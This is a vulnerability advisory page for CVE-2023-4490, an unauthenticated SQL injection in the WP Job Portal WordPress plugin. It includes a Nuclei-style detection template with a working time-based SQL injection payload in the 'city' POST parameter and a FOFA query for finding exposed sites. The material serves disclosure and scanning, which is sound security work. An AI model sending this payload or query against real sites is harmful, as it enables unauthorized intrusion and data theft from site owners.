CVE-2023-4490: WordPress Job Portal < 2.0.6 - SQL Injection

日期: 2025-08-01 | 影响软件: WordPress Job Portal | POC: 已公开

漏洞描述

The WP Job Portal WordPress plugin before 2.0.6 does not sanitise and escape the city parameter before using it in a SQL statement,leading to a SQL injection vulnerability that is exploitable by unauthenticated users. This vulnerability can be used to extractsensitive data from the database or potentially compromise the WordPress installation.

PoC代码[已公开]

id: CVE-2023-4490

info:
  name: WordPress Job Portal < 2.0.6 - SQL Injection
  author: paresh_parmar1,Configtea
  severity: high
  description: |
    The WP Job Portal WordPress plugin before 2.0.6 does not sanitise and escape the city parameter before using it in a SQL statement,leading to a SQL injection vulnerability that is exploitable by unauthenticated users. This vulnerability can be used to extractsensitive data from the database or potentially compromise the WordPress installation.
  remediation: Update to version 2.0.6 or later
  reference:
    - https://wpscan.com/vulnerability/986024f0-3c8d-44d8-a9c9-1dd284d7db0d/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4490
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.6
    cwe-id: CWE-89
    epss-score: 0.54896
    epss-percentile: 0.97972
    cve-id: CVE-2023-4490
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/wp-content/plugins/wp-job-portal"
  tags: cve,cve2023,sqli,wp,wordpress,wp-plugin,wp-job-portal,time-based-sqli,vkev

http:
  - raw:
      - |
        @timeout: 25s
        POST /wp-job-portal-jobseeker-controlpanel/jobs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        jobtitle=aaaa&salarytype=&salaryfixed=&salarymin=&salarymax=&salaryduration=2&duration=&city=(select*from(select(sleep(7)))a)&metakeywords=&save=Search+Job&default_longitude=71.2577233&default_latitude=29.1411551&issearchform=1&WPJOBPORTAL_form_search=WPJOBPORTAL_SEARCH&wpjobportallay=jobs

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7'
          - 'contains(body, "wp-content/plugins/wp-job-portal")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402203426549a6345b26928f26cb0b54e7507a639c45a2869dfdd032b5f6fc2aef27402204398f0d4e9432c18897afbf134b2b07ddb2caf90fb4b53a55f1a0a6b8ca6b395:922c64590222798bb761d5b6d8e72950